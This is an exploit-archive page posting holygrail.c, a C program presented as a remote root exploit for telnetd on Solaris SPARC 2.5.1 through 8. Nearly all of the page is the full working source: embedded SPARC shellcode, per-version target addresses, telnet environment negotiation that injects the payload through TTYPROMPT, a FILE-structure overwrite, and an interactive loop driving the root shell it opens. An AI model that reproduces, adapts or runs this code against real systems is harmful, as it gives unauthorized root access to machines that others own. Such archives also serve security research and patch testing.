what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

holygrail.c

holygrail.c
Posted Aug 21, 2002

Holygrail.c is a remote root exploit for telnetd under Solaris Sparc 2.5.1, 2.6, 2.7, and 8. Verified to work against Solaris 7 and 8 sparc - spawns a root shell.

tags | exploit, remote, shell, root
systems | solaris
SHA-256 | db9942f1b9b94f9665e2d1ea631b7cd99d363ce639e4f91ab79966997e37ceaa

holygrail.c

Change Mirror Download
#include <stdio.h>
#include <string.h>
#include <netdb.h>
#include <unistd.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <arpa/telnet.h>

#ifdef SOLARIS
typedef unsigned long u_int32_t;
#endif

#define BUFLEN 1024

char shellcode[]=
"\x21\x0b\xd8\x9a\xa0\x14\x21\x6e\x23\x0b\xdc\xda\xe0\x3b\xbf\xf0"
"\x90\x23\xa0\x10\x94\x23\x80\x0e\xd0\x23\xbf\xe0\xd4\x23\xbf\xe4"
"\x92\x23\xa0\x20\x82\x12\xa0\x3b\x91\xd0\x20\x08";

struct {
char *name;
unsigned long in_addr;
unsigned long out_addr;
} targets[] = {
{ "Solaris 8/SPARC local proof of concept", 0xff1bd538,
0xff1b7028 },
{ "Solaris 2.7/SPARC local proof of concept", 0xff1bb23c,
0xff1b4a44 },
{ "Solaris 2.6/SPARC local proof of concept", 0xff6a91f0,
0xef6a323c },
{ "Solaris 2.5.1/SPARC local proof of concept", 0xff61bfe8,
0xef615144 },
{ "Solaris 2.7/SPARC remote darkside shit", 0xff1bb150,
0xff1b4c90 },
{ "Solaris 2.7/SPARC remote darkside shit II", 0xff1b4cc0,
0xff1b4c90 },
{ "Solaris 2.7/SPARC remote darkside shit III", 0xff1b5950,
0xff1b5920 },
{ "Solaris 8/SPARC remote darkside shit", 0xff1bd44c, 0xff1b7247
},
{ "Solaris 8/SPARC remote darkside shit II", 0xff1b9480,
0xff1b9450 },
{ NULL, 0 }
};

void usage(char *p)
{
int i;

fprintf(stderr, "usage: %s [-t type] [-p port] [-o offset]
<host>\n", p);
fprintf(stderr, "-t: target type (see below)\n");
fprintf(stderr, "-p: port to use (default: 23)\n");
fprintf(stderr, "-o: offset to use (default: 0)\n\n");

fprintf(stderr, "Target Types:\n");
for(i = 0; targets[i].name; i++)
fprintf(stderr, "%d) %s %.8x %.8x\n", i, targets[i].name,
targets[i].in_addr, targets[i].out_addr);

fprintf(stderr, "\n");
exit(0);
}

void die(char *msg)
{
perror(msg);
exit(errno);
}

u_int32_t get_ip(char *host)
{
struct hostent *hp;

if(!(hp = gethostbyname(host))){
fprintf(stderr, "cannot resolve %s\n", host);
return(0);
}
return(*(u_int32_t *)hp->h_addr_list[0]);
}

int get_socket(char *target, int port)
{
int sock;
u_int32_t ip;
struct sockaddr_in sin;

if(!(ip = get_ip(target)))
return(0);

bzero(&sin, sizeof(sin));
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.s_addr = ip;

if(!(sock = socket(AF_INET, SOCK_STREAM, 0)) < 0)
die("socket");
if(connect(sock, (struct sockaddr *)&sin, sizeof(sin)) < 0)
die("connect");
return(sock);
}

void send_wont(int sock, int option)
{
char buf[3], *ptr=buf;

*ptr++ = IAC;
*ptr++ = WONT;
*ptr++ = (unsigned char)option;
if(write(sock, buf, 3) < 0)
die("write");
return;
}

void send_will(int sock, int option)
{
char buf[3], *ptr=buf;

*ptr++ = IAC;
*ptr++ = WILL;
*ptr++ = (unsigned char)option;
if(write(sock, buf, 3) < 0)
die("write");
return;
}

void send_do(int sock, int option)
{
char buf[3], *ptr=buf;

*ptr++ = IAC;
*ptr++ = DO;
*ptr++ = (unsigned char)option;
if(write(sock, buf, 3) < 0)
die("write");
return;
}

void send_env(int sock, char *name, char *value)
{
char buf[BUFLEN], *ptr = buf;

*ptr++ = IAC;
*ptr++ = SB;
*ptr++ = TELOPT_NEW_ENVIRON;
*ptr++ = TELQUAL_IS;
*ptr++ = NEW_ENV_VAR;
strncpy(ptr, name, BUFLEN-20);
ptr += strlen(ptr);
*ptr++ = NEW_ENV_VALUE;
strncpy(ptr, value, (&buf[BUFLEN-1] - ptr)-1);
ptr += strlen(ptr);
*ptr++ = IAC;
*ptr++ = SE;

if(write(sock, buf, (ptr - buf)) < 0)
die("write");
return;
}

void do_negotiate(int sock)
{
send_wont(sock, TELOPT_TTYPE);
send_wont(sock, TELOPT_NAWS);
send_wont(sock, TELOPT_LFLOW);
send_wont(sock, TELOPT_LINEMODE);
send_wont(sock, TELOPT_XDISPLOC);
send_will(sock, TELOPT_LFLOW);
send_will(sock, TELOPT_LINEMODE);
send_wont(sock, TELOPT_OLD_ENVIRON);
send_will(sock, TELOPT_NEW_ENVIRON);
send_will(sock, TELOPT_BINARY);
send_env(sock, "TTYPROMPT", shellcode);
return;
}

void write_attack_buf(int sock, int type)
{
char *attack_buf, *outbuf;
int i, j;
#ifdef SOLARIS
char tmpbuf[64];
#endif

if(!(attack_buf = (char *)calloc(BUFLEN*3, 1)))
die("malloc");
if(!(outbuf = (char *)calloc(BUFLEN*6, 1))){
free(attack_buf);
die("malloc");
}
if(write(sock, attack_buf, strlen(attack_buf)) < 0)
die("write");

memset(attack_buf+100, '\t', 80);

/* --- stdio FILE structure, top of _iob -- */

#ifdef SOLARIS

*(long *)&tmpbuf[0] = htonl((unsigned long)0x00000000);
*(long *)&tmpbuf[4] = htonl((unsigned
long)targets[type].in_addr);
*(long *)&tmpbuf[8] = htonl((unsigned
long)targets[type].in_addr);
*(long *)&tmpbuf[12] = htonl((unsigned long)0x05000000);

*(long *)&tmpbuf[16] = htonl((unsigned long)0x00000001);
*(long *)&tmpbuf[20] = htonl((unsigned
long)targets[type].out_addr);
*(long *)&tmpbuf[24] = htonl((unsigned
long)targets[type].out_addr);
*(long *)&tmpbuf[28] = htonl((unsigned long)0x4201000a);

memcpy(&attack_buf[2055], tmpbuf, 32);
#else

*(long *)&attack_buf[2055] = htonl((unsigned long)0x00000000);
*(long *)&attack_buf[2059] = htonl((unsigned
long)targets[type].in_addr);
*(long *)&attack_buf[2063] = htonl((unsigned
long)targets[type].in_addr);
*(long *)&attack_buf[2067] = htonl((unsigned long)0x05000000);

*(long *)&attack_buf[2071] = htonl((unsigned long)0x00000001);
*(long *)&attack_buf[2075] = htonl((unsigned
long)targets[type].out_addr);
*(long *)&attack_buf[2079] = htonl((unsigned
long)targets[type].out_addr);
*(long *)&attack_buf[2083] = htonl((unsigned long)0x4201000a);

#endif
/* -- IAC stuffing, so telnetd doesn't decide to negotiate -- */
for(i = 0, j = 0; i < 3000; i++){
outbuf[j++] = attack_buf[i];
if(attack_buf[i] == '\xff')
outbuf[j++] = '\xff';
if(attack_buf[i] == '\n')
break;
}

if(write(sock, outbuf, j) < 0)
die("write");

/* -- 2 reads for reading the garbage which screws up term -- */
if((j = read(sock, attack_buf, BUFLEN)) < 0)
die("read");
if((j = read(sock, attack_buf, BUFLEN)) < 0)
die("read");

free(attack_buf);
free(outbuf);
return;
}

int main(int argc, char **argv)
{
int c, n, sockfd, type = 0, offset=0, port = 23;
char buf[2048], *shellstr="cd /; id; pwd; uname -a;\r\n";
fd_set rset;

while((c = getopt(argc, argv, "t:o:p:")) != EOF){
switch(c){
case 't':
type = atoi(optarg);
if(type < 0 || type > sizeof(targets)){
fprintf(stderr, "invalid target type\n");
usage(argv[0]);
}
case 'o':
offset = atoi(optarg);
break;
case 'p':
port = atoi(optarg);
break;
}
}

if(!argv[optind] || !*argv[optind])
usage(argv[0]);
if(!(sockfd = get_socket(argv[optind], port)))
exit(-1);
do_negotiate(sockfd);

n = read(sockfd, buf, sizeof(buf));
write_attack_buf(sockfd, type);
send_wont(sockfd, TELOPT_BINARY);
sleep(1);
read(sockfd, buf, sizeof(buf));
write(sockfd, shellstr, strlen(shellstr));

FD_ZERO(&rset);
for(;;){
FD_SET(0, &rset);
FD_SET(sockfd, &rset);
if(select(sockfd+1, &rset, NULL, NULL, NULL) < 0)
die("select");

if(FD_ISSET(sockfd, &rset)){
bzero(buf, sizeof(buf));
if((n = read(sockfd, buf, sizeof(buf))) < 0)
die("read");
if(n == 0){
printf("EOF\n");
exit(0);
}
write(1, buf, n);
}

if(FD_ISSET(0, &rset)){
bzero(buf, sizeof(buf));
if((n = read(0, buf, sizeof(buf))) < 0)
die("read");
if(n == 0)
exit(0);
write(sockfd, buf, n);
}
}
}
Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close